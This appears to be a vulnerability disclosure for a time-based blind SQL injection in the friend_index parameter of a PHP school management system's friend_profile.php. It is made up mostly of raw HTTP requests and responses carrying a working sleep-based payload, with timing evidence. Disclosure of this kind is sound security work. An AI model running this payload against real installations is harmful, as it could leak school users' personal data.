

SQL injection vulnerability exists in friend_index parameter of /view/friend_profile.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 GET /std1/view/friend_profile.php?friend_index=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z&friend_type=Teacher HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcq1qqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:02:18 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2547
8
9
10 <div class="modal msk-fade" id="modalviewFriend"
11   tabindex="-1" role="dialog" aria-labelledby="
12   insert_alert1" aria-hidden="true" data-backdrop="
13   static" data-keyboard="false">
14   <div class="modal-dialog">
15     <!--modal-dialog -->
16     <div class="container col-lg-12 ">
17       <!--modal-content -->
18       <div class="row">
19         <div class="col-md-12">
20           <div class="panel">
21             <!--panel bg-maroon-->
```

Done 2,737 bytes | 4,045 millis

Sleep time is 12s:

Request

```
1 GET /std1/view/friend_profile.php?friend_index=0'XOR(if(now())=sysdate())%2Csleep(12)%2C0))XOR'Z&friend_type=Teacher HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcq1qqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:02:52 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2547
8
9
10 <div class="modal msk-fade" id="modalviewFriend"
11   tabindex="-1" role="dialog" aria-labelledby="
12   insert_alert1" aria-hidden="true" data-backdrop="
13   static" data-keyboard="false">
14   <div class="modal-dialog">
15     <!--modal-dialog -->
16     <div class="container col-lg-12 ">
17       <!--modal-content -->
18       <div class="row">
19         <div class="col-md-12">
20           <div class="panel">
21             <!--panel bg-maroon-->
```

Done 2,737 bytes | 12,004 millis

Payload: friend_index=0'XOR(if(now())=sysdate())%2Csleep(12)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>